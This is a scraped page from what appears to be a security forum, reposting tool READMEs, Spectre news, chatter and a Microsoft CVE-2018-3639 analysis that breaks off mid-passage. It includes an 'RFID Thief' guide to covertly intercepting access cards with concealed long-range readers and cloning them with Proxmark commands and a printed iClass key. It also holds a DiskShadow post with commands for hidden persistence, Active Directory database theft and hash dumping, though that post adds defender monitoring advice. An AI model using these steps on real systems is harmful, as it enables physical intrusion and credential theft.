Nytro

RFID Thief v2.0 12 Jul 2018 » all, rfid, tutorial Table of Contents Overview Proxmark 3 Long Range Readers Wiegotcha Raspberry Pi Setup Wiring Raspberry Pi HID iClass R90 HID Indala ASR620 HID MaxiProx 5375 Controller (Optional) Tutorial iClass R90 Indala ASR620 MaxiProx 5375 Components References Overview This post will outline how to build and use long range RFID readers to clone iClass, Indala & Prox cards used for Access Control. Proxmark 3 If you are unfamiliar with the Proxmark 3, it is a general purpose RFID Cloning tool, equipped with a high and low frequency antenna to snoop, listen, clone and emulate RFID cards. There are currently 4 versions of the Proxmark 3, all use the same firmware and software however some have more/less hardware features. Version Picture RDV1 RDV2 RDV3 RDV4 Long Range Readers There are 3 main types of long range readers HID sell, the R90, ASR-620 and MaxiProx 5375. Each reader supports a different type of card: Reader Card Type Picture HID iClass R90 iClass Legacy (13.56 MHz) HID Indala ASR-620 Indala 26bit (125 kHz) HID MaxiProx 5375 ProxCard II (125 kHz) Wiegotcha Wiegotcha is the awesome software for the Raspberry Pi developed by Mike Kelly that improves upon the Tastic RFID Thief in the following areas: Acts as a wireless AP with a simple web page to display captured credentials. Automatically calculates the iClass Block 7 data for cloning. Uses a hardware clock for accurate timestamps. AIO solution, eliminates the need for custom PCB’s and multiple breakout boards. Utilizes an external rechargeable battery. Raspberry Pi Setup This build will make use of the Raspberry Pi 3 to receive the raw Wiegand data from the long range readers and provide an access point to view/save the collected data. MicroSD Card Setup 1. Download and extract Raspbian Stretch. 2. Download ethcher or any disk writer you prefer. 3. Write the Raspbian Strech .img file to the MicroSD card using a USB adapter. 4. Unplug and replug the USB adapter to see ‘boot’ drive. 5. Edit cmdline.txt and add modules-load=dwc2,g_ether after the word rootwait so that so that it looks like this: dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=PARTUUID=9cba179a-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether quiet init=/usr/lib/raspi-config/init_resize.sh splash plymouth.ignore-serial-consoles 6. Edit config.txt and append dtoverlay=dwc2 to the end of the file. 7. Create a blank file within the ‘boot’ directory called ssh. Raspberry Pi Configuration 1. Connect the RPi to your local network and ssh to it using the default password raspberry. 2. Run sudo su to become the root user. 3. Clone the Wiegotcha repository to the /root directory. cd /root git clone https://github.com/lixmk/Wiegotcha 4. Run the install script in the Wiegotcha directory. cd Wiegotcha ./install.sh 5. Follow the prompts as requested, the RPi will reboot once completed. Be patient, this process can take some time. 6. After reboot, reconnect to the RPi using ssh and enter the following: sudo su screen -dr install 7. RPi will reboot and the installation is completed. The RPi will now broadcast with the ESSID: Wiegotcha, you can connect to it using the passphrase Wiegotcha. Wiegotcha assigns the static IP 192.168.150.1 to the RPi. Wiring Each reader will require a Bi-Directional Logic Level Converter, this is used to convert the 5v Wiegand output from the readers to the 3.3v RPi GPIOs. For quality of life, I have added JST SM connectors allowing quick interchangeability between the different long range readers. You may choose to add another external controller with switches to power the readers on/off, enable/disable sound or vibration, however this is optional. The following is a general overview of how the components are connected together: RPi GPIO Pins 1,3,5,7,9 -> Hardware RTC RPi to Logic Level Converter GPIO Pin 4 -> LLC HV GPIO Pin 6 -> LLC LV GND GPIO Pin 11 -> LLC LV 1 GPIO Pin 12 -> LLC LV 4 GPIO Pin 17 -> LLC LV Long Range Reader to Logic Level Converter LRR DATA 0 (Green) -> LLC HV 1 LRR DATA 1 (White) -> LLC HV 4 LRR SHIELD -> LLC HV GND Raspberry Pi 1. Connect the Hardware RTC to GPIO pins 1,3,5,7,9. 2. Solder female jumper wires to a male JST SM connector according to the table below and connect to the RPi. RPi JST SM Connector GPIO Pin 4 Blue GPIO Pin 6 Black GPIO Pin 11 Green GPIO Pin 12 White GPIO Pin 17 Red HID iClass R90 1. Join wires from the HID R90 to the logic level converter according to the table below. HID R90 Logic Level Converter P1-6 (DATA 0) HV 1 P1-7 (DATA 1) HV 4 P2-2 (GROUND/SHIELD) HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the HID R90 to a DC connector/adapter. HID R90 DC Connector/Adapter P2-1 Positive (+) P1-5 Negative (-) HID Indala ASR620 The Indala ASR620 will have a wiring harness from factory that you can utilize, the shield wire is within the harness itself so you need to slice a portion of the harness to expose. 1. Splice and solder wires from the Indala ASR620 to the logic level converter according to the table below. Indala ASR620 Logic Level Converter Green (DATA 0) HV 1 White (DATA 1) HV 4 Shield HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the Indala ASR620 to a DC connector/adapter. Indala ASR620 DC Connector/Adapter Red Positive (+) Black Negative (-) HID MaxiProx 5375 1. Join wires from MaxiProx 5375 to the logic level converter according to the table below. MaxiProx 5375 Logic Level Converter TB2-1(DATA 0) HV 1 TB2-2 (DATA 1) HV 4 TB1-2 (SHIELD) HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the MaxiProx 5375 to a DC connector/adapter. MaxiProx 5375 DC Connector/Adapter TB1-1 Positive (+) TB1-3 Negative (-) Controller Hearing a loud beep from your backpack when you intercept a card is probably not good, to avoid this, I made a makeshift controller, to easily power on/off and switch between sound or vibration or both. Each long range reader contains a sound buzzer either soldered or wired to the board, you can de-solder and replace this with extended wires to the controller. Within the makeshift controller you can splice/solder a sound buzzer (reuse the readers), vibrating mini motor disc, switches and a voltage display. Reader Sound buzzer Location HID iClass R90 HID MaxiProx 5375 HID Indala ASR-620 N/A - External Tutorial This section will show you how to clone the intercepted cards from the long range readers using the Proxmark 3. iClass R90 iClass legacy cards are encrypted using a master authentication key and TDES keys. The master authentication key allows you to read and write the encrypted blocks of the card however you will require the TDES keys to encrypt or decrypt each block. You can find the master authentication key in my Proxmark 3 Cheat Sheet post & step 6 of this tutorial. The TDES keys are not publicly available, you will have to source them yourself using the Heart of Darkness paper. The R90 will read the card, decrypt it and send the Wiegand data to Wiegotcha. 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a iClass Legacy card on the long range reader. 4. Copy the data from the Block 7 column into clipboard. 5. Encrypt the Block 7 data using the Proxmark 3. # Connect to the Proxmark 3 ./proxmark3 /dev/ttyACM0 # Encrypt Block 7 data hf iclass encryptblk 0000000b2aa3dd88 6. Write the encrypted Block 7 data to a writable iClass card. hf iclass writeblk b 07 d 26971075da43c659 k AFA785A7DAB33378 7. Done! if it all worked correctly, your cloned card will have the same Block 7 data as the original. You can confirm with the following: hf iclass dump k AFA785A7DAB33378 Indala ASR620 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a Indala card on the long range reader. MaxiProx 5375 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a ProxCard II card on the long range reader. 4. Copy the data from the Proxmark Hex column into clipboard. 5. Clone the Proxmark Hex data to a T5577 card using the Proxmark 3. # Connect to the Proxmark 3 ./proxmark3 /dev/ttyACM0 # Clone Proxmark Hex data lf hid clone 2004060a73 7. Done! if it all worked correctly, your cloned card will have the same Proxmark Hex, FC & SC data as the original. You can confirm with the following: lf search Components Most of the components can be found cheaply on eBay or your local electronics store, the most expensive components are the long range readers and the Proxmark 3. Raspberry Pi 3 Proxmark 3 RDV2 12v USB Power Bank HID iClass R90 HID Indala ASR-620 HID MaxiProx 5375 Bi-Directional Logic Level Converter DS3231 RTC Real Time Clock Vibrating Mini Motor Disc 32GB MicroSD Card JST SM 5 Pin Connectors JST SM 4 Pin Connectors References Official Proxmark 3 Repository Official Proxmark 3 Forums Mike Kelly’s Blog Wiegotcha Github Tastic RFID Thief Share this on → Sursa: https://scund00r.com/all/rfid/tutorial/2018/07/12/rfid-theif-v2.html

PEframe 5.0.1 PEframe is a open source tool to perform static analysis on Portable Executable malware and generic suspicious file. It can help malware researchers to detect packer, xor, digital signature, mutex, anti debug, anti virtual machine, suspicious sections and functions, and much more information about the suspicious files. Documentation will be available soon. Usage $ peframe <filename> Short output analysis $ peframe --json <filename> Full output analysis JSON format $ peframe --strings <filename> Strings output You can edit stringsmatch.json file to configure your fuzzer and virustotal apikey. Output example Short data example | Full data (JSON) example Install Prerequisites Python 2.7.x How to To install from PyPI: # pip install https://github.com/guelfoweb/peframe/archive/master.zip To install from source: $ git clone https://github.com/guelfoweb/peframe.git $ cd peframe # python setup.py install Sursa: https://github.com/guelfoweb/peframe

New Spectre variants earn $100,000 bounty from Intel Researchers discovered two new Spectre variants that can be used to bypass protections and attack systems and earned $100,000 in bug bounties from Intel. Michael Heller Senior Reporter 13 Jul 2018 Researchers found new speculative execution attacks against Intel and ARM chips, and the findings earned them a $100,000 reward under Intel's bug bounty. The new methods are themselves variations on Spectre v1 -- the bounds check bypass version of Spectre attacks -- and are being tracked as Spectre variants 1.1 and 1.2. The new Spectre 1.1 has also earned a new Common Vulnerabilities and Exposures (CVE) number, CVE-2018-3693, because it "leverages speculative stores to create speculative buffer overflows" according to Vladimir Kiriansky, a doctoral candidate in electrical engineering and computer science at MIT, and Carl Waldspurger of Carl Waldspurger Consulting. "Much like classic buffer overflows, speculative out-of-bounds stores can modify data and code pointers. Data-value attacks can bypass some Spectre v1 mitigations, either directly or by redirecting control flow. Control-flow attacks enable arbitrary speculative code execution, which can bypass fence instructions and all other software mitigations for previous speculative-execution attacks. It is easy to construct return-oriented-programming gadgets that can be used to build alternative attack payloads," Kiriansky and Waldspurger wrote in their research paper. "In a speculative data attack, an attacker can (temporarily) overwrite data used by a subsequent Spectre 1.0 gadget." Spectre 1.2 does not have a new CVE because it "relies on lazy enforcement" of read/write protections. "Spectre 1.2 [is] a minor variant of Spectre v1, which depends on lazy PTE enforcement, similar to Spectre v3," the researchers wrote. "In a Spectre 1.2 attack, speculative stores are allowed to overwrite read-only data, code pointers and code metadata, including v-tables [virtual tables], GOT/IAT [global offset table/import address table] and control-flow mitigation metadata. As a result, sandboxing that depends on hardware enforcement of read-only memory is rendered ineffective." As the research paper from Kiriansky and Waldspurger went live, Intel paid them a $100,000 bug bounty for the new Spectre variants. After the initial announcement of the Spectre and Meltdown vulnerabilities in January 2018, Intel expanded its bug bounty program to include rewards of up to $250,000 for similar side-channel attacks. I expect that more variants of Spectre and/or Meltdown will continue to be discovered in the future. Nick BilogorskiyCybersecurity strategist, Juniper Networks “When implemented properly, bug bounties help both businesses and the research community, as well as encourage more security specialists to participate in the audit and allow CISOs to optimize their security budgets for wider security coverage," Bilogorskiy wrote via email. "These bugs are new minor variants of the original Spectre variant one vulnerability and have similar impact. They exploit speculative execution and allow speculative buffer overflows. I expect that more variants of Spectre and/or Meltdown will continue to be discovered in the future." ARM and Intel did not respond to requests for comment at the time of this post. ARM did update its FAQ about speculative processor vulnerabilities to reflect the new Spectre variants. And Intel published a white paper regarding bounds check bypass vulnerabilities at the same time as the disclosure of the new Spectre variants. In it, Intel did not mention plans for a new patch but gave guidance to developers to ensure bounds checks are implemented properly in software as a way to mitigate the new issues. Advanced Micro Devices was not directly mentioned by the researchers in connection with the new Spectre variants, but Spectre v1 did affect AMD chips. AMD has not made a public statement about the new research. Sursa: https://searchsecurity.techtarget.com/news/252444914/New-Spectre-variants-earn-100000-bounty-from-Intel?utm_campaign=ssec_security&amp;utm_medium=social&amp;utm_source=twitter&amp;utm_content=1531504414

DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction March 26, 2018 ~ bohops [Source: blog.microsoft.com] Introduction Not long ago, I blogged about Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction. This tool was quite interesting because it was yet another utility to perform volume shadow copy operations, and it had a few other features that could potentially support other offensive use cases. In fairness, evasion and persistence are probably not the strong suits of Vshadow.exe, but some of those use cases may have more relevance in its replacement – DiskShadow.exe. In this post, we will discuss DiskShadow, present relevant features and capabilities for offensive opportunities, and highlight IOCs for defensive considerations. *Don’t mind the ridiculous title – it just seemed thematic 🙂 What is DiskShadow? “DiskShadow.exe is a tool that exposes the functionality offered by the Volume Shadow Copy Service (VSS). By default, DiskShadow uses an interactive command interpreter similar to that of DiskRaid or DiskPart. DiskShadow also includes a scriptable mode.“ – Microsoft Docs DiskShadow is included in Windows Server 2008, Windows Server 2012, and Windows Server 2016 and is a Windows signed binary. The VSS features of DiskShadow require privileged-level access (with UAC elevation), however, several command utilities can be invoked by a non-privileged user. This makes DiskShadow a very interesting candidate for command execution and evasive persistence. DiskShadow Command Execution As a feature, the interactive command interpreter and script mode support the EXEC command. As a privileged or an unprivileged user, commands and batch scripts can be invoked within Interactive Mode or via a script file. Let’s demonstrate each of these capabilities: Note: The proceeding example is carried out under the context of a non-privileged/non-admin user account on a recently installed/updated Windows Server 2016 instance. Depending on the OS version and/or configuration, running this utility at a medium process integrity may fail. Interactive Mode In the following example, a normal user invokes calc.exe: Script Mode In the following example, a normal user invokes calc.exe and notepad.exe by calling the script option with diskshadow.txt: diskshadow.exe /s c:\test\diskshadow.txt Like Vshadow, take note that the DiskShadow.exe is the parent process of the spawned executable. Additionally, DiskShadow will continue to run until its child processes are finished executing. Auto-Start Persistence & Evasion Since DiskShadow is a Windows signed binary, let’s take a look at a few AutoRuns implications for persistence and evasion. In the proceeding examples, we will update our script then create a RunKey and Scheduled Task. Preparation Since DiskShadow is “window forward” (e.g. pops a command window), we will need to modify our script in a way to invoke proof-of-concept pass-thru execution and close the parent DiskShadow and subsequent payloads as quickly as possible. In some cases, this technique may not be considered very stealthy if the window is opened for a lengthy period of time (which is good for defenders if this activity is noted and reported by users). However, this may be overlooked if users are conditioned to see such prompts at logon time. Note: The proceeding example is carried out under the context of a non-privileged/non-admin user account on a recently installed/updated Windows Server 2016 instance. Depending on the OS version and/or configuration, running this utility at a medium process integrity may fail. First, let’s modify our script (diskshadow.txt) to demonstrate this basic technique: EXEC "cmd.exe" /c c:\test\evil.exe *In order to support command switches, we must quote the initial binary with EXEC. This also works under Interactive Mode. Second, let’s add persistence with the following commands: - Run Key Value - reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt" - User Level Scheduled Task - schtasks /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt" Let’s take a further look at these… AutoRuns – Run Key Value After creating the key value, we can see that our key is hidden when we open up AutoRuns and select the Logon tab. By default, Windows signed executables are hidden from view (with a few notable exceptions) as demonstrated in this screenshot: After de-selecting “Hide Windows Entries”, we can see the AutoRuns entry: AutoRuns – Scheduled Tasks Like the Run Key method, we can see that our entry is hidden in the default AutoRuns view: After de-selecting “Hide Windows Entries”, we can see AutoRuns entry: Extracting the Active Directory Database Since we are discussing the usage of a shadow copy tool, let’s move forward to showcase (yet another) VSS method for extracting the Active Directory (AD) database – ntds.dit. In the following walk-through, we will assume successful compromise of an Active Directory Domain Controller (Win2k12) and are running DiskShadow under a privileged context in Script Mode. First, let’s prepare our script. We have performed some initial recon to determine our target drive letter (for the logical drive that ‘contains’ the AD database) to shadow as well as discovered a logical drive letter that is not in use on the system. Here is the DiskShadow script (diskshadow.txt): set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset [Helpful Source: DataCore] In this script, we create a persistent shadow copy so that we can perform copy operations to capture the sensitive target file. By mounting a (unique) logical drive, we can guarantee a copy path for our target file, which we will extract to the ‘exfil’ directory before deleting our shadow copy identified by someAlias. *Note: We can attempt to copy out the target file by specifying a shadow device name /unique identifier. This is slightly stealthier, but it is important to ensure that labels/UUIDs are correct (via initial recon) or else the script will fail to run. This use case may be more suitable for Interactive Mode. The commands and results of the DiskShadow operation are presented in this screenshot: type c:\diskshadow.txt diskshadow.exe /s c:\diskshadow.txt dir c:\exfil In addition to the AD database, we will also need to extract the SYSTEM registry hive: reg.exe save hklm\system c:\exfil\system.bak After transferring these files from the target machine, we use SecretsDump.py to extract the NTLM Hashes: secretsdump.py -ntds ntds.dit -system system.bak LOCAL Success! We have used another method to extract the AD database and hashes. Now, let’s compare and contrast DiskShadow and Vshadow… DiskShadow vs. Vshadow DiskShadow.exe and VShadow.exe have very similar capabilities. However, there are a few differences between these applications that may justify which one is the better choice for the intended operational use case. Let’s explore some of these in greater detail: Operating System Inclusion DiskShadow.exe is included with the Windows Server operating system since 2008. Vshadow.exe is included with the Windows SDK. Unless the target machine has the Windows SDK installed, Vshadow.exe must be uploaded to the target machine. In a “living off the land” scenario, DiskShadow.exe has the clear advantage. Utility & Usage Under the context of a normal user in our test case, we can use several DiskShadow features without privilege (UAC) implications. In my previous testing, Vshadow had privilege constraints (e.g. external command execution could only be invoked after running a VSS operation). Additionally, DiskShadow is flexible with command switch support as previously described. DiskShadow.exe has the advantage here. Command Line Orientation Vshadow is “command line friendly” while DiskShadow requires use by interactive prompt or script file. Unless you have (remote) “TTY” access to a target machine, DiskShadow’s interactive prompt may not be suitable (e.g. for some backdoor shells). Additionally, there is an increased risk for detection when creating files or uploading files to a target machine. In the strict confines of this scenario, Vshadow has the advantage (although, creating a text file will likely have less impact than uploading a binary – refer to the previous section). AutoRuns Persistence & Evasion In the previous Vshadow blog post, you may recall that Vshadow is signed with the Microsoft signing certificate. This has AutoRuns implications such that it will appear within the Default View since Microsoft signed binaries are not hidden. Since DiskShadow is signed with the Windows certificate, it is hidden from the default view. In this scenario, DiskShadow has the advantage. Active Directory Database Extraction If script mode is the only option for DiskShadow usage, extracting the AD database may require additional operations if assumed defaults are not valid (e.g. Shadow Volume disk name is not what we expected). Aside from crafting and running the script, a logical drive may have to be mapped on the target machine to copy out ntds.dit. This does add an additional level of noise to the shadow copy operation. Vshadow has the advantage here. Conclusion All things considered, DiskShadow seems to be more compelling for operational use. However, that does not discount Vshadow (and other VSS methods for that matter) as a prospective tool used by threat agents. Vshadow has been used maliciously in the past for other reasons. For DiskShadow, Blue Teams and Network Defenders should consider the following: Monitor the Volume Shadow Service (VSS) for random shadow creations/deletions and any activity that involves the AD database file (ntds.dit). Monitor for suspicious instances of System Event ID 7036 (“The Volume Shadow Copy service entered the running state”) and invocation of the VSSVC.exe process. Monitor process creation events for diskshadow.exe and spawned child processes. Monitor for process integrity. If diskshadow.exe runs at a medium integrity, that is likely a red flag. Monitor for instances of diskshadow.exe on client endpoints. Unless there is a business need, diskshadow.exe *should* not be present on client Windows operating systems. Monitor for new and interesting logical drive mappings. Inspect suspicious “AutoRuns” entries. Scrutinize signed binaries and inspect script files. Enforce Application Whitelisting. Strict policies may prevent DiskShadow pass-thru applications from executing. Fight the good fight, and train your users. If they see something (e.g. a weird pop up window), they should say something! As always, if you have questions or comments, feel free to reach out to me here or on Twitter. Thank you for taking the time to read about DiskShadow! Sursa: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/

deen An application that allows to apply encoding, compression and hashing to generic input data. It is meant to be a handy tool for quick encoding/decoding tasks for data to be used in other applications. It aims to be a lightweight alternative to other tools that might take a long time to startup and should not have too many dependencies. It includes a GUI for easy interaction and integration in common workflows as well as a CLI that might be usefule for automation tasks. Usage See the wiki for basic and more advanced usage examples. Installation Install via pip: pip3 install -r requirements.txt pip3 install . After installation, just run: deen Note: If the installation fails with an error like "Could not find a version that satisfies the requirement PyQt5", then you are trying to install deen via pip on a version of Python < 3.5. In this case, you cannot install PyQt5 via pip. You have to install PyQt5 separately, e.g. via your package manager (e.g. pacman -S python2-pyqt5 on Arch Linux for Python 2). Packages There is a deen-git package available in the Arch User Repository (AUR). Compatibility The code should be compatible with Python 2 (at least 2.7.x) and Python 3. However, deen is mainly developed for Python 3 and some features may be temporarily broken in Python 2. It is strongly recommended to use deen with Python 3. The GUI should run on most operating systems supported by Python. It was tested on Linux and Windows. Hopefully compatibility for different Python versions and operating systems will improve in the future. Feel free to test it and create issues! Some transformers will only be available in more recent versions of Python. This includes e.g. Base85 (Python 3.4 or newer) or the BLAKE2b and BLAKE2s hash algorithms (Python 3.6 or newer). Sursa: https://github.com/takeshixx/deen

<Registration Deadline> < !-- JUL 28 10：00 AM, 2018 -- > <Qualification> Online Jeopardy (All challenges are built on top of real world applications) JUL 28 10:00 AM ~ JUL 30 10:00 AM, 2018(GMT+8, 48 hours) <Final> Onsite Jeopardy (All challenges are built on top of real world applications) SEP 15 ~ SEP 18, 2018 (GMT+8, 48 hours) Venue: TBC, China Top 20 international teams (5 players per team) from the qualification round will be invited to participate in the on-site CTF Finals. We will see the world's best teams competing for the 2018 REAL WORLD CTF Championship. Link: https://realworldctf.com/

Misto, de unde le scoti?

"Challenge accepted"

NetRipper - Added support for cross-compilation on Linux - https://github.com/NytroRST/NetRipper

NetRipper - Added support for Chrome 67 (32 and 64 bits) https://github.com/NytroRST/NetRipper

Added support for PCAP files: https://github.com/NytroRST/NetRipper

Din cate am inteles, nu e tocmai ceva nou, dar a fost "redescoperit". Se pare ca astfel de probleme exista de prin '90.

La Linkedin s-a schimbat ceva dupa ce a fost cumparat? Mai exact, de exemplu pe mine, utilizator de rand cu repo-uri publice, ma va afecta cu ceva aceasta schimbare? Pareri?

Se pare ca s-au deschis inregistrarile pentru Defcamp 2018: https://def.camp/tickets/ De asemenea, va puteti inscrie la Call for Papers, daca doriti sa prezentati. https://def.camp/call-for-papers/ Daca sunt intrebari, va poate ajuta @Andrei

Cui ii pasa de el... Ia zi-ne, tonomatul de cafea e bine?

Understanding Java deserialization Some time ago I detailed PHP Object Injection vulnerabilities and this post will get into details of Java deserialization vulnerabilities. The concept is simple: developers use a feature of the programming language, serialization, to simplify their job, but they are not aware about the risks. Java deserialization is a vulnerability similar to deserialization vulnerabilities in other programming languages. This class of vulnerabilities came to life in 2006, it become more common and more exploited and it is now part of the OWASP Top 10 2017. Sursa: https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/

Buhuuuuu, aici... pe RSTTTT, sunteti controlati de catre noooooi. O sa faceti tot ce spunem nooooi! Buhuhu.

E am un Asus RoG de cativa ani si inca e super OK. - i7 (seria de atunci) - 256 SSD - Trebuie sa iei ceva neaparat cu SSD - 756 HDD (7200rpm) - GTX 770M - Nu e tocmai cine stie ce, dar nici nu am nevoie Ia mai bine nou. La 4000-5000 RON gasesti multe bune.

Websocket Fuzzer A simple websocket fuzzer for application penetration testing. Two tools are provided: websocket-fuzzer.py: Receives a websocket message, modifies it, and then sends it in different connections. The response is analyzed to find potential vulnerabilities. send-one-message.py: Sends a websocket message using a new connection Both tools require considerable customization to be used. Please read the source code comments in both files to better understand all the parameters. Installation and usage pip install -r requirements.txt # edit send-one-message.py python send-one-message.py In most cases you'll want to use a proxy, such as OWASP ZAP or Burp Suite, to analyze the websocket traffic generated by these tools. Both tools support proxying the websocket traffic. The workflow for these tools is fairly simple: Use send-one-message.py to define most of the variables, make sure that authentication is working, etc. Confirm all this with the logs and traffic seen in the local proxy. Move the send-one-message.py configuration to websocket-fuzzer.py and customize the remaining parameters. Start the process and confirm that the fuzzer is sending what you expect. Customize the payloads which are sent to the target using payloads/payloads.txt Analyze the logs using grep to find specific things you're looking for. The tool will try to identify issues for you and log them with Potential issue found in connection with ID Authentication The tools support authenticating using user-defined websocket messages. These messages are sent before the ones with the payloads. Logging All messages are logged to a user-defined directory. Each connection is logged to a different file. Detailed logging is very important for this tool, since it allows the user to run grep on the output to find interesting things. Fuzzing The tool was developed for fuzzing websocket applications which use JSON as a serialization method. If this is not the case for you, please customize the following functions: * `create_tokenized_messages` * `replace_token_in_json` Sursa: https://github.com/andresriancho/websocket-fuzzer

1. Introduction ................................................................................................................................. 1 2. Research Description .................................................................................................................. 2 2.1 Infotainment System ......................................................................................................... 3 2.1.1 USB Interface......................................................................................................... 5 2.1.2 E-NET over OBD-II .............................................................................................. 6 2.1.3 Bluetooth Stack ...................................................................................................... 7 2.1.4 ConnectedDrive Service ........................................................................................ 8 2.1.5 K-CAN Bus ............................................................................................................ 9 2.2 Telematics Control Unit .................................................................................................... 9 2.2.1 Remote Service with NGTP................................................................................. 12 2.2.2 Remote Diagnosis ................................................................................................ 12 2.3 Central Gateway Module ................................................................................................ 12 2.3.1 Cross-Domain Diagnostic Messages ................................................................... 14 2.3.2 Lack of High Speed Limit on UDS...................................................................... 14 3. Vulnerability Findings .............................................................................................................. 15 4. Attack Chains ............................................................................................................................ 16 4.1 Contacted Attack ............................................................................................................. 17 4.2 Contactless Attack .......................................................................................................... 17 4.2.1 Bluetooth Channel ............................................................................................... 17 4.2.2 Cellular Network .................................................................................................. 18 5. Vulnerable BMW Models ......................................................................................................... 19 6. Disclosure Process .................................................................................................................... 21 7. Conclusion ................................................................................................................................ 22 Download: https://keenlab.tencent.com/en/Experimental_Security_Assessment_of_BMW_Cars_by_KeenLab.pdf

Analysis and mitigation of speculative store bypass (CVE-2018-3639) swiat May 21, 2018 In January, 2018, Microsoft published an advisory and security updates for a new class of hardware vulnerabilities involving speculative execution side channels (known as Spectre and Meltdown). In this blog post, we will provide a technical analysis of an additional subclass of speculative execution side channel vulnerability known as Speculative Store Bypass (SSB) which has been assigned CVE-2018-3639. SSB was independently discovered by Ken Johnson of the Microsoft Security Response Center (MSRC) and Jann Horn (@tehjh) of Google Project Zero (GPZ). This post is primarily geared toward security researchers and engineers who are interested in a technical analysis of SSB and the mitigations that are relevant to it. If you are interested in more general guidance, please refer to our advisory for Speculative Store Bypass and our knowledge base articles for Windows Server, Windows Client, and Microsoft cloud services. Please note that the information in this post is current as of the date of this post. TL;DR Before diving into the technical details, below is a brief summary of the CPUs that are affected by SSB, Microsoft’s assessment of the risk, and the mitigations identified to date. What is affected? AMD, ARM, and Intel CPUs are affected by CVE-2018-3639 to varying degrees. What is the risk? Microsoft currently assesses the risk posed by CVE-2018-3639 to our customers as low. We are not aware of any exploitable instances of this vulnerability class in our software at this time, but we are continuing to investigate and we encourage researchers to find and report any exploitable instances of CVE-2018-3639 as part of our Speculative Execution Side Channel Bounty program. We will adapt our mitigation strategy for CVE-2018-3639 as our understanding of the risk evolves. What is the mitigation? Microsoft has already released mitigations as part of our response to Spectre and Meltdown that are applicable to CVE-2018-3639 in certain scenarios, such as reducing timer precision in Microsoft Edge and Internet Explorer. Software developers can address individual instances of CVE-2018-3639 if they are discovered by introducing a speculation barrier instruction as described in Microsoft’s C++ developer guidance for speculative execution side channels. Microsoft is working with CPU manufacturers to assess the availability and readiness of new hardware features that can be used to resolve CVE-2018-3639. In some cases, these features will require a microcode or firmware update to be installed. Microsoft plans to provide a mitigation that leverages the new hardware features in a future Windows update. Speculative Store Bypass (SSB) overview In our blog post on mitigating speculative execution side channel hardware vulnerabilities, we described three speculation primitives that can be used to create the conditions for a speculative execution side channel. These three primitives provide the fundamental methods for entering speculative execution along a non-architectural path and consist of conditional branch misprediction, indirect branch misprediction, and exception delivery or deferral. Speculative Store Bypass (SSB) belongs to a new category of speculation primitive that we refer to as memory access misprediction. SSB arises due to a CPU optimization that can allow a potentially dependent load instruction to be speculatively executed ahead of an older store. Specifically, if a load is predicted as not being dependent on a prior store, then the load can be speculatively executed before the store. If the prediction is incorrect, this can result in the load reading stale data and possibly forwarding that data onto other dependent micro-operations during speculation. This can potentially give rise to a speculative execution side channel and the disclosure of sensitive information. To illustrate how this might occur, it may help to consider the following simple example. In this example, RDI and RSI are assumed to be equal to the same address on the architectural path. 01: 88040F mov [rdi+rcx],al 02: 4C0FB6040E movzx r8,byte [rsi+rcx] 03: 49C1E00C shl r8,byte 0xc 04: 428B0402 mov eax,[rdx+r8] In this example, the MOV instruction on line 1 may take additional time to execute (e.g. if the computation of the address expression for RDI+RCX is waiting on prior instructions to execute). If this occurs, the CPU may predict that the MOVZX is not dependent on the MOV and may speculatively execute it ahead of the MOV that performs the store. This can result in stale data from the memory located at RSI+RCX being loaded into R8 and fed to a dependent load on line 4. If the byte value in R8 is sensitive, then it may be observed through a side channel by leveraging a cache-based disclosure primitive such as FLUSH+RELOAD (if RDX refers to shared memory) or PRIME+PROBE. The CPU will eventually detect the misprediction and discard that state that was computed, but the data that was accessed during speculation may have created residual side effects in the cache by this point that can then be measured to infer the value that was loaded into R8. This example is simplified for the purposes of explaining the issue, but it is possible to imagine generalizations of this concept that could occur. For example, it may be possible for similar sequences to exist where SSB could give rise to a speculative out-of-bounds read, type confusion, indirect branch, and so on. We have revised our C++ Developer Guidance for Speculative Execution Side Channels to include additional examples of code patterns and conditions that could give rise to an instance of CVE-2018-3639. In practice, finding an exploitable instance of CVE-2018-3639 will require an attacker to identify an instruction sequence where: The sequence is reachable across a trust boundary, e.g. an attacker in user mode can trigger the sequence in kernel mode through a system call. The sequence contains a load instruction that is architecturally dependent on a prior store. The stale data that is read by the load instruction is sensitive and is used in a way that can create a side channel on the non-architectural path, e.g. the data feeds a disclosure gadget. The store instruction does not execute before the load and the dependent instructions that compose the disclosure gadget are speculatively executed. While our research into this new vulnerability class is ongoing, we have not identified instruction sequences that satisfy all of the above criteria and we are currently not aware of any exploitable instances of CVE-2018-3639 in our software. In the case of Just-in-Time (JIT) compilers, such as JavaScript JIT employed by modern web browsers, it may be possible for an attacker to supply JavaScript that produces native code that satisfies the criteria above. However, Microsoft Edge, Internet Explorer, and other major browsers have taken steps to reduce the precision of timers to increase the difficulty of successfully creating a side channel. Mitigations for Speculative Store Bypass (SSB) There are multiple mitigations that are 